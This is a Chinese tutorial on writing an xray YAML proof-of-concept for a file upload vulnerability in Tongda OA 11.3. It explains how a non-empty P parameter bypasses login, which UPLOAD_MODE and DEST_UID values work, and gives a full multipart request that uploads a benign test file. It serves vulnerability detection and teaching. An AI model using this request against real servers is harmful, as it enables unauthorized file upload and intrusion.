写一个POC的过程思路参考
字数 1104 2025-08-10 08:28:21
通达OA 11.3文件上传漏洞POC编写教学文档
一、环境准备
1. 编辑器配置
- 使用VSCode作为编辑器
- 安装YAML插件
- 配置
settings.json文件:{ "yaml.schemas": { "https://raw.githubusercontent.com/chaitin/xray/master/docs/static/schema/poc-yaml.json": "poc-yaml-*.yml" } } - 创建以
poc-yaml-开头且.yml为扩展名的文件 - 确保右下角出现"POC check"提示,表示规则获取正常
二、漏洞分析
1. 漏洞基本信息
- 目标系统:通达OA 11.3版本
- 漏洞类型:文件上传漏洞
- 利用点:
/ispirit/im/upload.php - 默认端口:8080
2. 黑盒测试分析
-
上传成功的关键参数:
UPLOAD_MODEPDEST_UIDATTACHMENT(上传文件字段)
-
参数验证结果:
- 除
P参数外,其他参数不正确仍可能上传成功 - 当
P参数不正确时,上传会失败
- 除
3. 白盒分析
- 关键逻辑:
- 参数
P不为空时,可绕过auth.php的登录验证 - 当
DEST_UID为0时,UPLOAD_MODE必须为2 ATTACHMENT是上传文件的关键字段- 当
DEST_UID不为0时,UPLOAD_MODE可为1、2或3
- 参数
三、POC编写
1. 基本结构
name: poc-yaml-tongdaoa-upload
manual: true
transport: http
set:
s1: randomLowercase(8)
rBoundary: randomLowercase(16)
rules:
r1:
request:
cache: false
method: POST
path: /ispirit/im/upload.php
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rBoundary}}
body: |-
------WebKitFormBoundary{{rBoundary}}
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundary{{rBoundary}}
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundary{{rBoundary}}
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundary{{rBoundary}}
Content-Disposition: form-data; name="ATTACHMENT"; filename="{{s1}}.jpg"
Content-Type: image/jpeg
hello upload-POC
------WebKitFormBoundary{{rBoundary}}--
expression: response.status == 200 && response.body_string.contains("+OK")
expression: r1()
detail:
author: tongdaoa-upload
links:
- https://www.codenong.com/cs105166034/
2. 关键组件说明
set部分
s1: 生成8位随机小写字母,用作文件名rBoundary: 生成16位随机小写字母,用作表单边界
rules部分
r1: 定义请求规则method: POST方法path: 漏洞利用路径headers: 设置Content-Type,包含随机边界body: 构造上传表单,包含四个关键参数
expression部分
- 验证条件:响应状态码为200且响应体包含"+OK"字符串
detail部分
- 包含作者信息和参考链接
四、调试与验证
1. 配置调试环境
- 在xray配置文件中添加Burp Suite监听IP和端口
- 禁用Burp Suite的拦截功能
- 将POC文件放入xray文件夹
2. 执行POC
xray_windows_amd64.exe ws --poc yaml-xxxx.yml --url http://ip:port
3. 验证成功标志
- 输出中包含
detail部分信息
五、常见问题排查
-
参数大小写问题
- 确保所有参数名称使用大写(如
P而不是p)
- 确保所有参数名称使用大写(如
-
边界值问题
- 确保表单边界格式正确,包含
------前缀和后缀--
- 确保表单边界格式正确,包含
-
响应验证
- 检查响应状态码是否为200
- 检查响应体是否包含"+OK"字符串
-
随机值生成
- 确保
set部分正确生成随机文件名和边界值
- 确保
-
Content-Type设置
- 确保headers中的Content-Type与body中的边界一致